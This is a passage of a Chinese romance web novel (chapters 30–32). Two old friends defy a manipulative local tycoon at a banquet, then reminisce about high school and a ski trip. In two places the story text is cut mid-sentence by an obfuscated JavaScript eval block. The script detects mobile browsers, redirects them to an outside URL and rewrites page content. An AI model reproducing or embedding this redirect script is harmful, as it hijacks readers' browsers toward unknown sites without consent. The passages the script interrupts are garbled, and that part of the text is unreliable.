李映桥是没给任何人眼神,连睫毛都没颤一下,只是低着头认真地剥虾吃,和刚才进门前给他扮鬼脸的样子判若两人,他不知道她听到些什么。 俞津杨这么想着,把楼下拿的可乐默默放她边上。 李映桥这才转头看他。 “喝这个,这边叫不了代驾。”他说。 “葡萄汁。”李映桥晃了晃杯子。 俞津杨点点头,开始拆湿巾袋,没再说话。 李映桥拿着高脚杯喝了口葡萄汁,眼神却浮皮潦草地挂在他身上,隔空和他干了个杯,仿佛真在喝酒似的小斟酌饮一口,还浮夸地咂咂舌,一杯兑水葡萄汁喝出琼浆玉液的效果。 俞津杨这才笑开,“无聊。” 李映桥也笑笑,随后她放下杯子,转头看了眼李伯清。她刚刚才明白为什么李伯清要大费周章请她吃这个饭。 从进门一落座,李伯清就旁敲侧击打探她和俞津杨的关系,话里话外就是想让她当这个吃力不讨好的“海天酱油”,看能不能把她舅舅和俞叔叔的事儿给调和下来,估摸就是收了李武声的好处。 李映桥从小都挺敬重他,在丰潭李伯清算是个传奇人物,只是这次回来听他车轱辘话说一半,她也意兴阑珊,没再往下接茬,只沉默剥着螃蟹。 李伯清自讨没趣,于是老狐狸又心生一计:故意在饭局上当着一众丰潭木玩圈的长辈,说些不着四六、调侃她和俞津杨的话,在座都是人精,谁听不出他话里有话——多半是想从他俩的关系上去施压,有的没的反正都先说得似是而非,来来去去也绕不开那些辛辣隐秘的男女关系,想让她和俞津杨下不来台?保不齐俞叔叔或许会顾及她和俞津杨的面子,选择妥协。 不知道老狐狸肚子里具体打什么算盘,总之这小老头现在真是坏得很。 难怪俞津杨一开始听见这个事儿,犹豫了几秒。 哎——俞津杨你这个人真是挺让人难受。李映桥胸口有点发闷地想。 她此刻胸口像被人塞了一团湿漉漉的棉花,沉是不沉,只是觉得有点绵绵涨涨的堵。这老狐狸三言两语就差点把她架在火上烤,差点被他弄得里外不是人,于是她仰头一口气喝光所有葡萄酒,然后在俞津杨耳边悄声道:“嘿嘿,喵,其实是酒,我骗你的。” 俞津杨正在剥虾,听见这话,下意识伸手要去拿她的酒杯闻,被她眼疾手快、不容置喙地伸手牢牢盖住。 俞津杨视线落在她紧紧绷着的指关节上,李映桥的拇指正在无意识地摩挲着高脚杯的杯壁,可她的眼神却落在别处—— 越过满桌被啃噬得差不多的残羹冷炙,她只死死盯着对面那个喝酒喝得红光满面、抽着雪茄此刻正在高滩阔谈他曾经的丰功伟绩,沉浸在众人的阿谀奉承中、自诩为丰潭的“土皇帝”:李伯清。 俞津杨没想到这么多年没见,自己对她的预判竟然还是这么准。 31 第三十章 李映桥的屁股刚抬起,俞津杨眼疾手快地立马扣住她的手腕,动作快得连他都惊讶于自己对她的预判,或者说更是一种条件反射,他另只手撂下筷子,低声问她:“干什么你?” 李映桥视线仍盯着李伯清,知道自己现在力气不及他,手象征性地挣了下,没挣脱,只好说:“喵,你先松开,我保证不冲动。” 俞津杨当然没听她的,反而直接箍紧了。紧得他能感觉到李映桥的脉搏在他手心里突突地跳动着,跳得又急又重,甚至越来越烫,他也只能压下心里的那团将熄不熄、欲燃又难起的未名火,看她淡淡说:“李映桥,这事儿跟你没关系。” 李映桥终于转头看他,一副恨铁不成钢的表情,咬牙切齿道:“可他没安好心,他在打你的主意。我才不要这么憋屈坐在这,听他在这噗噗噗放连环屁,臭气熏天,咱俩坐在这给人当空气净化器呢!” “那你为什么要回来?”俞津杨手没松,靠在那问。 “想你们了啊。”李映桥这么讲,说着夹了一筷子菜塞嘴里,眼睛还弯了弯。 俞津杨当然不会信,她从小就这样,哄人的话信手拈来,哪怕这么多年没见,她这张嘴仍是有过之无不及,让人难以招架。他扯了扯嘴角,瞥开视线,正巧看见李伯清夹着根雪茄阴魂不散地盯着他俩,笑得像颗萝卜精继续打趣他们: “俩小年轻说什么悄悄话呢,津杨,你爸妈知道你俩关系还这么好吗?” 席间顿时响起一片心照不宣、暧昧不明的轻笑声。 随即有人拍着桌子插话进来,那人一筷子精准地插进面前转盘桌上的鱼腹里,戳了半天夹枪带棒说:“所以我说李书记你就是闲吃萝卜淡操心,李武声和俞老板早晚要成为亲家。还要你出面调解什么赔偿金,不过左口袋进右口袋,彩礼钱而已。” 这人叫钱东昌,是他们当年在小画城上学时的年级组长,李映桥进门时只觉得他眼熟,直到方才那口熟悉的画城老师乡音,她蓦然想起这人是谁。她下意识转头看俞津杨,四目相对的刹那,她知道他也想起来了。 钱东昌从小画城离职后,竟然还抱上李伯清的大腿了。 李映桥心里那团火越烧越旺,她用力挣开俞津杨箍着她的手,下一秒,去端自己面前的红酒杯,视线在李伯清和钱东昌之间停留片刻后面不改色地说:“李书记,长辈的事儿我们作为晚辈也不方便插手,作为旁人最好也不要插手,不然您这不分青红皂白乱攒局,只会越帮越忙。钱老板说的对,您确实咸吃萝卜淡操心,我和俞津杨要是出了这道门,连朋友都当不成,全赖你和钱老板今天在这乱讲话——” “咳,映桥——”李连丰试图打圆场,拿起酒杯制止她。 俞津杨没动作,知道拦不住她,静静靠在那,目光平和地为她粉饰着太平,只偶尔瞥李映桥一眼。她没搭理李连丰,把高脚杯重重地钝在大理石的转台上,发出清脆又响亮的“啪”一声,没碎,但好似一记耳光抽在两人脸上。 李映桥故作受伤地看着李伯清说:“其实如果这顿饭,您是抱有其他目的,就不该请我来的。不说我和俞津杨关系怎么样,但至少从小您在我心目中的形象就特别伟岸,我对您的记忆仍旧停留在八二年,您单枪匹马闯广销会,拿下第一批订单后,回来就大刀阔斧地集资办厂,带着大家发家致富。” “丰潭谁不知道您的大名,我从小就立志,长大后要成为您这样的人,不光自己发财,还要带着身边所有人发财。我一向敬重您,哪怕这几年在外头读书,我也时常和身边的朋友安利您,说我们丰潭有个名副其实的大圣人,但是现在,李书记,我觉得自己真像个笑话——” 她说得声情并茂,确实让人动容,俞津杨眼神一瞥一瞥地瞧她,嘴角生生压着一道温柔的弧线,同绷直的下颚线形成鲜明对比。 好家伙,原来她才是放屁最a的那个。 “还有这位钱老板,”李映桥话锋一转,翻了个巨大的白眼,险些又把俞津杨逗笑,“你嘴巴最好放干净点,有你一毛钱的事儿?倒胃口。” “……走了走了,再待下去,我和俞津杨怕是能在各位嘴里生孩子了,各位老板嘴那么闲,还不如轮着把桌上的菜热热,别让老爷子吃剩菜啊。有那么多立功表现的机会,非得欺负我们小辈算怎么回事,我玩不起,先撤了。” 李映桥兴致缺缺地从位置上站起来,看着满桌寂静,一桌残羹冷炙更是让这包厢氛围雪上加霜,李伯清这会儿脸色说不上好看不好看,因为他人完全是懵的,自从八二年拿浓墨重彩的一笔之后,他就再也听不见别的话,全是阿谀奉承给他捧上天的。 李连丰也懵,压根不敢看老爷子的脸色,只觉顷刻间后颈汗毛倒竖,太阳穴开始突突直跳,血液也直往脑门冲,李映桥说一句,他鸡皮疙瘩就立马起一片,想去捂嘴,又怕俞津杨掐他。 苍天啊,谁敢在他家老爷子面前说这些大实话。尽管知道目前丰潭木玩的形势严峻,如今国内外还在打贸易战,想要东山再起简直天方夜谭,也就瞧着老爷子都这把岁数了,黄土都埋到脖子根,不然谁还陪他玩这“老骥伏枥”的戏码? …… “不过,小画城我会继续做的,当然,李书记如果您觉得我今天说这些话不合适,您想改变主意,我随时等您电话。”开门出去前,李映桥无所谓地丢下一句。 “……” 包厢内噤若寒蝉,雪茄都灭了,夹在李伯清手里一时忘了抽。 下一秒,俞津杨也跟着不紧不慢地站起来,身形挺阔站在那,目光扫了一圈,还是落在李伯清身上。奇怪的是,他和李映桥显然是两种性格的人,李映桥俏皮跳脱,他则是一贯沉稳的礼貌,一如既往的风度翩翩,却莫名能感受到他言语里和李映桥如出一辙的冷淡和讥诮—— “我爸的事儿,就不牢李书记费心了。肇事者该坐牢坐牢,该赔偿赔偿,我们不可能出具谅解书。如果今晚有些话让各位不舒服了,算我们作为小辈的不懂事,各位长辈见谅。” “毕竟我爸断了条腿这么大的事儿,你们都能宽宏大量地劝我们出谅解书,那今晚这顿饭局上的冒犯,我想你们应该非常能谅解我和映桥的。” *** 李映桥把小孟的车停在山庄里,打算明天再过来开,正蹲在楼下等俞津杨,果然没多久,听见身后不紧不慢的脚步声,一回头,果然是他。她站在刚刚俞津杨和李连丰说话的位置,冲他大力地挥手,等男人走到近前,一副慷慨解囊的口气拍了拍他的爱驹,“来,上车,我送你回家。” “正反话都让你说了,”俞津杨笑了声,从裤兜里慢吞吞掏出钥匙去解锁,又故意没按下去,弯腰低头去找她的眼睛,最后又跟她确认一遍,“你到底喝了没?” 李映桥喝酒很好认,别人喝酒上脸,她喝酒上眼,不管喝多少。眼尾会自内而外洇出一片极淡的粉色,像打了腮红那样,极好认。 他记得高三有一次,他俩为了解压偷偷喝了他爸半瓶珍藏许久的红酒,一杯还没下肚,李映桥脸上就开始不着痕迹地漫开绯色,剩下半瓶他就没让她再喝了,那瓶酒至今还留着,一口没再喝。 但这会儿他端详片刻也没瞧出端倪,因为她本来就化了妆,打了腮红。 “喝了啊。”李映桥倒是很老实,“不然我开小孟车走了。” 俞津杨回头瞥了眼她那辆小熊猫,伸手给她拉开副驾车门,“行,上车,我先送你,明天你睡醒给我电话,我陪你过来取车。这边上山不好打车。” “哇——喵,你车好帅啊!”李映桥一上车就开始浮夸的表演,手指划过他的皮质座椅,吹了声相当不入流的口哨,拍马屁说,“牧马人是吧?简直跟你人一样帅,好配啊你俩。你什么时候买的?” 俞津杨按启动键的手微微一顿,眼神警惕地瞥过去,瞬间被她勾起一些不太好的回忆,她第一次坐上俞人杰的迈巴赫也是这个反应,甚至有过之无不及,把他爹哄得脸色一红又一黑的。 “俞叔叔,你的车好帅呀,跟你人好配呀!果然说得没错啊,好马配好鞍,秃头也上岸啊。” “真的,俞叔叔,你这个真皮座椅比我家的沙发还舒服!以后你这车报废了,座椅能送给我当沙发吗?” 俞人杰也跟她满嘴跑火车,还回头问她:“方向盘不要吗?别人绝对没见过,还有迈巴赫的驰名商标。拿回家当个挂钟吧。” “要要要!”她丝毫没听出他爸在调侃她。 “后视镜不要吗?一套的。”俞人杰又问。 “不要,喵说你出门都要照的。” 俞人杰:“……” 俞津杨:“…………” 就这股机灵劲儿,有时候蛮想揍她。所以俞津杨这会儿也被她弄得哭笑不得,笑得挡都挂不上,手都软了,靠在座驾上嘴角抽抽地看着她:“李映桥,你别犯病。” “夸也不行,不夸也不行,好吧,这么难伺候,那你说想听什么。” “听你闭嘴,安静一点,不要对我的车发表任何评价。” 李映桥沉默片刻,撇开头。 “哼。” 32.第三十一章 车内真就一时陷入沉默,李映桥偏过头看向窗外,只见玻璃上溅开几滴雨水,洇在车窗上,像一条条小爬虫蜿蜒而下,渗进车窗缝隙里,而此刻浸在雨水里的山色显得格外清透。 回来这些天,她还没怎么正儿八经出去逛过,除了那天去发泄馆找他和高典。在这座鸟枪换炮的城市里,唯独山里的景致还算有些熟悉。 李映桥看着盘山公路一侧石峰交错的山石壁,嶙峋叠嶂的山影,想起他们高三那年去乡下找方玥的时候,也是这样静谧的乡野,月亮高高挂着,蛙鸣鸟声婉转动听,而俞津杨的白色T恤还洇着不太明显的汗迹,像是水洗过的月色,永远不紧不慢地走在他们几个前头稳定军心。 他高三其实也没放弃练舞,那时候在练Breaking,学习压力大反而跳得更勤快。 有时候俞津杨在舞蹈室一待就是整天,T恤衫一天要换好几件,因为李映桥每次见他T恤衫上都是汗会嫌他,和他说话脑袋要撅出二里地。 想到这,李映桥转头去看他,发现俞津杨开着车也不着痕迹地瞥了她一眼,目光蓦然相撞,两人又几乎同时笑出声,一扫刚才哼哼唧唧的气氛。 “喵,你现在还练舞吗?”李映桥看着他问。 “偶尔吧,”俞津杨扫了眼后视镜,将车拐下山路,“毕业之后就很忙,也没怎么练了,在国外忙,回来更忙,甜筒马上四岁了,我爸想在明年她生日之前把儿童乐园竣工了。” 说完又怕她不知道,拐弯的空隙补了句:“高典跟你说了吧,甜筒就是我妹妹,二零后。” “说是你生的,我都不奇怪,你俩这年龄差是不是也太大了?”李映桥想了想,又找了个刁钻的角度夸他说,“不过这样也好,以后你老婆生孩子你自己就有经验了,你这个二胎哥哥绝对比很多新手爸爸强的。” 俞津杨没接她茬,而是将车子拐上主车道停在红绿灯路口的车流里,才言归正传地看她说:“说正事,今晚你把人都得罪差不多了,小画城你还打算继续做?” “做啊,为什么不做。”李映桥低着头正给人回微信,“就包厢里那几个啊?无所谓。” “你知道李伯清在丰潭代表什么吗?”他想了想说。 “我管他代表什么,说话我就是不爱听。”她想也不想回。 是啊,这才是李映桥。他想,如果今晚上她真忍住了,那就不是她了,他会怀疑她这几年在外面都过得这么憋屈,可她没有,她走时甚至还当众给了李伯清一个完全下不了的台阶,让他更拉不下脸。 小画城这块地的经营权早几年闹得沸沸扬扬,木玩产业日渐式微后,丰潭的老牌企业家纷纷转投网红经济,文旅也是其中一块炙手可热的香饽饽。小画城俞人杰也投过标,但最终被李伯清斥巨资拍下来,在丰潭,李伯清想要的东西没人能争得过他。 然而这几年网红经济井喷,小画城占着小镇一块风水宝地却怎么都运营不起来,还有源远流长的船运历史底蕴,现如今被李伯清运营得四不像,江南水乡也不像江南水乡,商业景区也不够专业,总之一天客流没上班的人多,偶尔他陪老妈去那边散个步,看到闸机门口显示的游客量,都替他爹松口气,不然他很有可能真的要在国外跳脱衣舞还债了。 所以即使李映桥当众扔出那么一句话,李伯清也没台阶可下,他知道自己不适合搞文旅,于是又想回去整顿木玩产业,小画城这块烫手山芋李映桥愿意回来接手,李伯清更是求之不得,只是他没想到他倚老卖老,李映桥这个年轻人竟是第一个不买账的。 车子终于停在刮痧馆的十字路口,李映桥下车前和他说了声再见,伸手去推车门,却没推动,狐疑地回头去看他,俞津杨正侧过身从车后座上拿了把伞递给她:“伞拿着,下次一起还我。” “不要,我跑两步就好了,我会忘的。下次见面我肯定又忘了带给你。” “没事,想起来还就行,”俞津杨坚持,伞又往前递了递,“喝了酒不要淋雨,不然要我下车去给你撑?” “真不要啊,怎么搞的每次见你一面都要欠你一把伞,上次那把我都不知道丢哪去了,”李映桥无奈,人靠回副驾上,突然不急着下车了,她看着窗外绵绵密密的雨水,开玩笑说,“那我等雨停了,再下车。” 俞津杨笑了声,把伞扔回后座,“也行。” 李映桥把手机又扔回他车的扶手箱里,侧目瞧他不轻不重地喊了声:“喵。” “嗯?”他扔完伞,回过头正好对上她的眼睛,“什么?” “这几年,你和妙嘉联系过吗?你知道她在省城的事儿吗?”她好奇问,“你知道吧?妙嘉现在超级有出息的。” 俞津杨索性侧了个身,半个肩膀压在车窗上,平静地直视她说:“知道。” 李映桥下意识墩了他一拳,说:“靠,原来你就跟我没联系是吧?” 他后背斜抵在车门上忽然笑出声,抱着胳膊无奈道:“讲讲良心好吧,李映桥,是谁把谁拉黑了,我以为你……算了,现在说这些没意义。” 话到这,他深深吸了口气,胸腔微微抬起,稍顿片刻后又叹着气别开脸去,目光落在窗外串珠帘般的雨幕中,克制着呼吸直到心情平复,不咸不淡问:“你这几年过得怎么样?” 她笑笑:“挺好的。你呢?你过得怎么样?” “我也挺好的。”他转头看着她讲。 “骗人,”她又笑了,忽然往前凑了凑,想从他眼睛去找些蛛丝马迹说,“高典都跟我说了,你差点被俱乐部骗去给富婆们跳脱衣舞,连学费都是自己打工挣的。俞叔叔变成这样,唐阿姨应该也挺辛苦的,当然啦。再怎么样,你们的家底也比我厚,只是俞叔叔前半生做生意顺风顺水,你和唐阿姨都没怎么吃过苦,有这么一段经历总归是挺添堵的,我就不一样啦,我有那么好的姝莉女士一直支持着我,我再坏还能坏到哪里去。所以我没敷衍你,而你却在敷衍我。喵,咱俩还是朋友吗?” 雨一直没停,李映桥说完这话,车内陷入寂静,只剩雨刮器在前挡风玻璃上“沙沙沙”地来回划拉着,像一块记忆中的黑板擦,试图抹去那些花季雨季里的秘密。 俞津杨一直没说话,静静看着她,他不知道该怎么说她才会满意,窗外的雨丝毫没有要停的意思,他从扶手箱里摸出自己的手机看了眼时间,甜筒给他发了两条语音微信,说哥你再不回来我都要睡着了。 “你想我们是吗?”他把手机扔回去,又从后座拿了伞,干脆利落地去推车门,“你想就是,你不想就不是,反正你从来都没有给过我选择的机会。下车吧,我送你进去。” *** 俞津杨又在自家楼下吃了碗面才上楼,原来城区那套别墅在他参加完高考就被他爸转手了,早几年生意周转不过来的时候,俞人杰几乎把手里能卖的房子都卖了个遍,唯独没动上海、小画城那两套。俞津杨当时在芝加哥也没办法回来处理房产的问题,等后来他回国想把上海的房子给卖了,房价已经跌破俞人杰的底线了,也就一直扔着没处理。 俞人杰和唐湘前几年一直住在南来市中心,因为公司总部在市里,儿子又在国外,他们索性也都搬去市里住了。丰潭就留了一套小画城的房子,前不久出事后,俞津杨为了方便照顾才把他们从市中心接回来住在自己回国买的一套平层里,就在新老城区的交界处,目前丰潭配置最好的小区和物业,能一眼看见丰潭那幢地标性建筑物——星光塔,隔两条街就是李姝莉的刮痧馆,他时常在小区里看见刮痧馆的广告。 高三结束后,他就没有吃夜宵的习惯了,没有刻意维持身材,但李映桥的话还言犹在耳,那时候他俩经常在梁梅家熬夜刷题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686484|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿了梁梅和朱小亮就给他俩煮夜宵吃,后来是李姝莉来煮,因为她嫌梁梅煮得太难吃,高三他肉眼可见地胖了几斤,跳舞的时候喘气都比从前明显,李映桥有一次看他跳舞,说想掀开他的T恤下摆看看,肚子上的肉是不是“duangduangduang”的,气得他就把夜宵给戒了。 俞津杨打包了两份馄饨上楼,一进门,唐湘正在沙发上给俞人杰上药,后者杵着根拐杖疼得呲牙咧嘴歇斯底里地叫道:“爷爷个……” “腿不了了,没有腿了。”俞人杰想了想,又咬牙切齿骂道:“爷爷个拐的!” 唐湘听见门口的动静,只听见有人扔下车钥匙趿拉着拖鞋进来,拍了下俞人杰,让他别吵吵了:“儿子回来了。”下一秒,看向门口挺拔的身影,“津杨,吃饭没有?” “吃了,”俞津杨把馄饨放茶几上,在他俩旁边的单人沙发上坐下,“甜筒呢?” “睡着了,”唐湘说,“等你半天等不着,抱着小鸡睡着了。” “你给她洗了吗?那只小鸡。”他漫不经心地看了手机问。 “没洗。” “那她没闹?” “闹了啊,被我打了一顿睡着了,我一天天忙得要死,谁一天到晚给她洗那只破小鸡。” 俞津杨笑了下,“明天我洗吧,你们早点睡,我先回房了,明天要见一个设计团队。” 唐湘看了眼俞人杰,忽然叫住他,“等会儿,有个事。” 他没再动,眼神示意他妈往下说。 唐湘看着他,心口像收尾的针线,一寸寸绞紧。她儿子回来不到半年,肉眼可见瘦了一大圈,五官倒是更硬朗和锋利了,这件T恤以前见他穿都没这么松垮空荡。 唐湘半天没说话,心疼地从头到脚扫着他,俞津杨也跟着她的视线下意识从自己胸口往下掸了眼,跟着问:“怎么说。” “妈妈想了想,”唐湘说,“儿子,你要不还是去上海找工作吧,现在家里我能照顾过来了,甜筒打一顿也能听半天话。高典都跟我说了,上海不少猎头挖你,在丰潭你发挥空间太小了。” “您别真揍她啊,甜筒多可爱啊,而且她现在是最记仇的年纪,”俞津杨听笑了,觉得她醉翁之意不在酒,眼神扫了眼一旁一直没说话的俞人杰,“在哪都一样,你们就想说这个?不对吧,我感觉您想说别的。” 唐湘叹息,津杨长大后真的没有小时候那么好骗了。 她实在不知道该怎么开口。俞人杰回来和她讲,前两天俞津杨给他定的轮椅到了,俞人杰开着轮椅出去转了转,结果看见他儿子,在小广场那边盘腿坐在地上,用手机连着蓝牙音响给人放歌,给一帮跳广场舞的老太太当DJ呢。 唐湘说这有啥。 俞人杰说出自己的担忧:“你赶紧给他介绍个女朋友吧,我说实话,要照这么下去,我担心咱儿子到时候带回来一女的,说不定小时候还抱过咱俩。” 唐湘当时是骂了他个狗血喷头,但怀疑的种子一旦种下—— 俞津杨阳台接电话去了。 李映桥在电话那头问他上次那把伞是什么颜色的,她正在满屋子拿着电话找伞。 俞津杨举着电话慢条斯理地回着,“黑色,不着急,找不到就算了。” 他松松地将电话举在耳边,目光却越过霓虹喧嚣的城区街市,定定落在丰潭山顶那幢突兀、孤零零的建筑上——那座宛如被电信诈骗的星光塔。在没有被改建之前,那里曾是整个南来市唯一的人工雪场。 他们曾在那里接过吻。 他有些恶劣地想,只要现在他说一句,李映桥你在外面和别人滑过雪吗? 那头准会炸毛,他几乎能想象到对面暴跳如雷的样子,还找什么伞,伞都给他掰断。 因为他其实也不记得是什么颜色的伞。 33.第三十二章 俞津杨后来仔细回想,自己从小就有点依赖她,说不上为什么。 大概就是从前在疯子港碰见流浪汉版的朱小亮一口蛋糕一口金鱼,他俩当时都吓得不轻,李映桥二话没说打横抱起他就跑那次开始—— 高典说他很像一只认主的猫,就这么认了李映桥这个主。 起初他觉得没什么,李映桥小时候比他高比他厉害,还能捉人贩,能给他很强的安全感,有她在,确实很省事。于是他在郑妙嘉和高典的怂恿下,煞有介事地为她写了一首童谣——歌颂英雄李映桥之我的偶像叫小芳。 那时候他是真把她当偶像,只是随着时间的流逝,他逐渐开始抵触自己内心对她的依赖——他觉得他长大了,但李映桥却还是拿他当小猫逗。这种微妙情绪,从初中开始就萦绕在他心底,一直到高三才如山洪彻底爆发。 高三是他俩关系最差的时候。李映桥为了学习变得六亲不认,而俞津杨,他觉得自己是进入了青春期,只是和他青春期对上的不是他父母,而是他的“主人”李映桥。 他莫名看李映桥哪哪都不舒服,李映桥是来而不往非礼也,她明显能感觉到高三之后的俞津杨莫名有些叛逆,脾气阴晴不定,还老和她吵架,于是经常一边埋头订正作业本,一边头也不抬地嘲讽他说:“干什么,喵,你要造反啊?” 越这样,俞津杨越觉得自己像她养的宠物,高兴了就摸两下,不高兴就重重地摸两下。 她和其他人从来不这样,尤其六班那个学委卢应川,李映桥对他很谄媚,课间操一见他,她立马笑得大红扁桃体高高挂。 卢应川会弹钢琴,在一次文艺汇演上以一首悠扬婉转的《蓝色多瑙河》收获了一众少女的芳心。 相比较越长越张扬、越长越剑眉星目的俞津杨,卢应川更像一款温润如玉的邻家哥哥,他长得更温和,眉眼舒展,嘴角永远挂着一道温柔的弧线,弹到段落轻快的间奏时,他还会稍稍偏头,冲台下的女生露出一个得心应手的浅笑。 那个台下的女生就是李映桥,给她乐得直掐一旁俞津杨的大腿,牙都好几天没合上,从此张口闭口就是卢应川。俞津杨是真不愿意搭理她,甚至生出和她绝交的心思,但李映桥丝毫未察觉到异样,等她回过味来,两人已经有小半学期几乎没怎么说过话。 直到高考前三个月李映桥不幸染上红眼病,李姝莉不肯再让她那么拼命看书,怕她把眼睛看瞎掉。 李映桥实在想不到还有什么别的办法,只好又腆着脸主动给俞津杨打电话,让他翻着书一句句念给她听,俞津杨当然不愿意,李映桥也不知道他在生哪门子气,只好在电话那头服软:“求求你啦。喵,高考我一定不能失败。” 就这样,心软的俞津杨一念念到高考前夕,两人雷打不动每天晚上九点准时背书抽查。起初是俞津杨给她念,后来是她给俞津杨念,两个人都发现,这种随机抽查模式的复习比自己单独的复习效果还要好,于是也就心照不宣地一直保持着这个习惯到高考结束。 俞津杨从开始冷脸给她念,到后来冷脸让她给自己念。反正就是冷着一张脸,有时候李映桥会逗他,说些文科班里没头没脑的趣事。比如她班里有个大才,是李清照的忠实粉丝,说李清照是个赌坛一姐,写不出词就去赌场一掷千金,写什么人比黄花瘦,其实就是骰子玩不够。俞津杨没忍住笑出声,电话那头的女孩立马就棍打腿地调侃他:“好久没听少爷这么笑了——” “……” 于是他立马“咳”一声,又冷回脸去。除此之外的时间,两人也都在电话里正儿八经抽查背书,很少扯闲篇,唯有那么一次,抽题抽一半,俞津杨忽然意味不明地问了句,“六班那个卢应川呢?不玩了?” 李映桥才说:“好吧,那我悄悄告诉你。你不许告诉别人哦。” 俞津杨下意识皱眉,说实话他不太感兴趣,他心中隐约察觉到自己那点懵懂的心绪,可他无从确定,他唯一能确定的是,李映桥只拿他当朋友,因为她说过他是个冲浪板身材,又矮。 在他的印象中,李映桥对异性的审美是那种沙滩肌肉猛男,肱二头肌大得要像塞了两颗椰子,皮肤晒得油光黝黑,还时不时冲她亮个八块腹肌,这种她最喜欢了,卢应川这种类型也就看个新鲜,绝不是她的菜。他深知自己更不是。 对他来说,如今这个复习都紧锣密鼓的高三阶段,大战马上来袭,精力实在有限,男女之间那点关系还是不要深究的好,更何况还是别人的事儿,他也不想听,于是只在电话这头冷淡地回了句:“你自己注意点就行,不用跟我说。” 李映桥也是听进去了,“好吧,那就不说了。” 之后就再也没提过这个人。直到高考结束,他们各自奔赴南北求学,大一那年国庆他出了点意外被迫留在上海,本来说好的一起旅行也没能践行,很多时候人的兴致就是容易被这么一次突如其来的意外给浇灭,后面他们谁也没再提去旅行的事。 大一寒假,高典回广东找爸妈去了,郑妙嘉也留在省城没有回来,只有李映桥一个人留在丰潭过年,俞津杨也被父母打包带去海南的定情海边陪他老爹追忆往昔少年,过他俩结婚十四周年纪念日,当了颗硕大无比的电灯泡。 等他回丰潭,李映桥已经提前买票回北京了。 那时候,他忽然理解朋友就是阶段性的这句话,按照从前李映桥的尿性,在梁梅家复习的时候,上个厕所都恨不得跟他报备一下,有时候好的甚至想跟他穿一条裤子,可分开不过一个学期,她开学回北京却没跟他说。也是那一刻,他彻底明白,在她心里,他从来都只是一个很普通的朋友,哪怕他们曾经在丰潭山的雪场里接过吻。 那时候他们都刚收到录取通知书,收拾完行李就眼巴巴等着大学开学,有一天俞人杰回来说丰潭山上那个雪场马上要拆了,要改建城市性地标,问他们要不要趁着还没改建去滑个雪,不然等他们大一再回来估计就拆得七七八八咯。 雪场在室内,穹顶悬着钢制的工业级制冷管道,一通到底。他们几人一进去,仿佛感觉进了一个巨大的冷库,偌大个室内滑雪场,算上工作人员总共十人不到,难怪要拆掉。然而,静谧的室内让雪板刮擦着雪面的“唰唰”声响,像环绕立体声在空旷的雪道里发出白噪音般的混响。 作为南方人,看见这么皑皑白又长长的雪道,肾上腺素是会飙升的,李映桥就是典型的南方姑娘,那天她格外兴奋,等他买完票租完衣服和雪具头盔这些,就已经迫不及待拉着他要去吃雪了。 但他们都不会,点了几个教练,一对一跟着学。俞津杨也不会,正认真听教练给他讲解新手注意事项包括摔倒的保护性姿势,不能用手腕撑地等等,就这么会儿功夫,已经有个人从他身后初级滑道里飞过去了,“呜呼!喵!” “……” “哇吼!喵!看我。”又从他背后飘过去了,声音相当得瑟。 “……” 就这么飞过来,飞过去。教练也瞠目结舌,虽然动作完美踩雷,但好歹也是目前在这个雪场里上手最快的,也是最不怕摔的。后来一问才知道她昨晚知道要来滑雪之后,在家看了一晚上的教学视频,从上雪具、雪板的挑选,也知道了什么是犁式刹车,又在教练简明扼要的指导下,迅速学会了落叶飘。 而一旁高典还在初级滑道上鬼哭狼嚎着威胁教练不许碰他:“你不要推我啊!我会死的。我爸爸妈妈还没给我买保险呢。” 李映桥已经摔了不知道几跤,有一回摔狠了就索性趴在地上当会儿鼻涕虫蠕动到魔毯区外去。不消片刻,她又火速从地上爬起来继续滑,就这么摔摔打打,她滑成老油条了,连俞津杨给几个女生买的小乌龟都拆下来了,开始背着手滑到初级魔毯区,突然一个横刹,溅起一地雪渣子,迫不及待地给他们指点说:“教练,你要让他自己滑,这么小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699420|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼的啥时候能学会啊,你的时间可是很宝贵的,一小时要三百呢。”说完,把小乌龟扔给他,“喵少爷你那么怕摔,自己绑着吧。” 郑妙嘉的小乌龟也给了高典,李映桥和她还有方玥已经开始在魔毯区竞速了,两个男生一个还在鬼哭狼嚎,一个还在和教练拉扯各种细节。李映桥当然看不过去,教练的费用太贵了,一小时要三百,他们五个人光教练的费用都要一千五,关键学得也都是很皮毛,教得也很敷衍。李映桥心疼钱,于是她大言不惭地冲俞津杨伸出手,“来,喵,我带你,多摔几次就好了。” …… “啪!” “砰——” “砰——啪——” 在俞津杨第八次把脑袋从雪道里拔出来,他已经顾不得护目镜上蘸满能糊住他所有视线的雪渣籽,都懒得用手再去掸干净,直接忍无可忍地拿戴着头盔的脑袋去撞和他一起滚在雪里的某人:“李映桥,你干什么,拿我种萝卜吗?疼死了。” 李映桥从他身上起来,兴奋地咯咯笑着说:“你自己重心不稳好不好,你不是练Breaking吗?地板动作不都要核心力量吗?你核心这么差怎么跳Breaking?” 